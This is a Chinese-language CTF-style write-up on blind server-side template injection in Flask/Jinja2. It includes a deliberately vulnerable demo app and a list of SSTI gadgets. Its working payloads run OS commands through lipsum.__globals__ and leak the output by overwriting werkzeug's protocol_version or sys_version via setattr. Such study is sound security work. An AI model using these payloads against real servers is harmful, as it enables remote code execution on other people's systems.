SSTI无回显处理(新回显方式)
ssti无回显处理
前言
现在很多ctf的ssti出现了无回显的情况,除了反弹shell,内存马,挂载静态目录,覆盖app.py等方法,还有今天的新回显方式
环境搭建
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return result
# return "ok"这是无回显,为了方便研究使用result
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
一般无回显的页面我们发包过去就只是存在着
这样的情况下,我们按照正常思路是不会想到去把响应包里面的内容给修改了的,所以这次就是去研究如何构造才能将回显带出来
先贴一个ssti的常见的函数
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
寻找思路
入口点肯定在我们的response这里,所以我们简单代码审计一下
app.py-run方法
进入app.run之后,看了一堆代码,发现这里在和server打交道
猜测这里和我们的response有关系
/app.py#run
options.setdefault("use_reloader", self.debug)
options.setdefault("use_debugger", self.debug)
options.setdefault("threaded", True)
cli.show_server_banner(self.debug, self.name)
from werkzeug.serving import run_simple
try:
run_simple(t.cast(str, host), port, self, **options)
值得注意的是这段代码,
cli.show_server_banner(self.debug, self.name)
:显示一个服务器启动的横幅信息,通常包含 Flask 版本、Python 版本和服务器名称等信息
前面设置的参数都通过传参传给了run_simple这个函数,这个函数就是用来启动一个WSGI服务器的东西
serving.py-run_simple-make_server
简单查看runsimple方法之后我们就可以,发现里面还有一个makeserver方法,所以我们进入之后就会发现
这里面有里面存在了三个server
- BaseWSGIserver:基础的WSGI服务器
- ThreadWSGIserver:基于线程的 WSGI 服务器
- ForkingWSGIserver:基于进程的 WSGI 服务器
这里看到我们的处理request的方式。
他们的response不正是request来的,跟进一手
翻找里面的方法就会看到确实找到了处理response或者与response有关的代码
serving.py-class WSGIRequestHandler-write
def write(data: bytes) -> None:
nonlocal status_sent, headers_sent, chunk_response
assert status_set is not None, "write() before start_response"
assert headers_set is not None, "write() before start_response"
if status_sent is None:
status_sent = status_set
headers_sent = headers_set
try:
code_str, msg = status_sent.split(None, 1)
except ValueError:
code_str, msg = status_sent, ""
code = int(code_str)
self.send_response(code, msg)
header_keys = set()
for key, value in headers_sent:
self.send_header(key, value)
header_keys.add(key.lower())
这里很明显看到开始出现response字段了,这个父类的send_response方法肯定就是我们所需要的有关于response的函数跟进之后,看到
def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.
Also send two standard headers with the server software
version and the current date.
"""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
到这里我们只需要找到对应的参数然后传值就OK了
首先就是这个``send_response_only`
def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
if message is None:
if code in self.responses:
message = self.responses[code][0]
else:
message = ''
if not hasattr(self, '_headers_buffer'):
self._headers_buffer = []
self._headers_buffer.append(("%s %d %s\r\n" %
(self.protocol_version, code, message)).encode(
'latin-1', 'strict'))
http回显
这里的protocol_version,我们去找到能够控制这个参数的值。
可以看到这个是能够控制的
这里的self就是我们的类,然后属性就是protocol_version
所以接下来就是思考如何通过python的方式去寻找,这个属性值,如何修改这个值,然后获取WSGIRequestHandler 对象
{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler}}
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
这里就可以直接回显命令了
server回显
使用相同的方式我们可以获取到这个属性值
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
这里就可以直接回显命令了
参考:
https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIhxRrHi853x#toc-4